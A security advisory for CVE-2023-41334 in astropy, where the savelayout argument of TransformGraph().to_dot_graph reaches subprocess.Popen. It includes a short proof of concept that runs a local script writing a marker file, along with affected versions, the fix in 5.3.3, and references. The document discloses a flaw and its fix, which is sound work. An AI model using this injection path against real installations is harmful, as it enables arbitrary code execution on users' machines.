RCE in TranformGraph().to_dot_graph function
Summary
RCE due to improper input validation in TranformGraph().to_dot_graph function
Details
Due to improper input validation a malicious user can provide a command or a script file as a value to savelayout argument, which will be placed as the first value in a list of arguments passed to subprocess.Popen.
https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539
Although an error will be raised, the command or script will be executed successfully.
PoC
$ cat /tmp/script
#!/bin/bash
echo astrorce > /tmp/poc.txt$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from astropy.coordinates.transformations import TransformGraph
>>> tg = TransformGraph()
>>> tg.to_dot_graph(savefn="/tmp/1.txt", savelayout="/tmp/script")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py", line 584, in to_dot_graph
stdout, stderr = proc.communicate(dotgraph)
File "/usr/lib/python3.9/subprocess.py", line 1134, in communicate
stdout, stderr = self._communicate(input, endtime, timeout)
File "/usr/lib/python3.9/subprocess.py", line 1961, in _communicate
input_view = memoryview(self._input)
TypeError: memoryview: a bytes-like object is required, not 'str'
>>>$ cat /tmp/poc.txt
astrorceImpact
code execution on the user's machine
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | astropy | < 5.3.3 | 5.3.3 |
Referencias
- https://github.com/astropy/astropy/security/advisories/GHSA-h2x6-5jx5-46hf
- https://nvd.nist.gov/vuln/detail/CVE-2023-41334
- https://github.com/astropy/astropy/commit/22057d37b1313f5f5a9b5783df0a091d978dccb5
- https://github.com/astropy/astropy
- https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539
- https://pypi.org/project/astropy
- https://github.com/advisories/GHSA-h2x6-5jx5-46hf
- Vector CVSS
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Debilidad (CWE)
CWE-74, CWE-77- Plataforma
- Python (PyPI)
- Paquete
astropy- Publicada
- 18.03.2024
- Actualizado
- 11.10.2026 13:19
Fuentes y licencias
OSV / GitHub Advisory Database - PYSEC-2026-1199 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-h2x6-5jx5-46hf - CC BY 4.0
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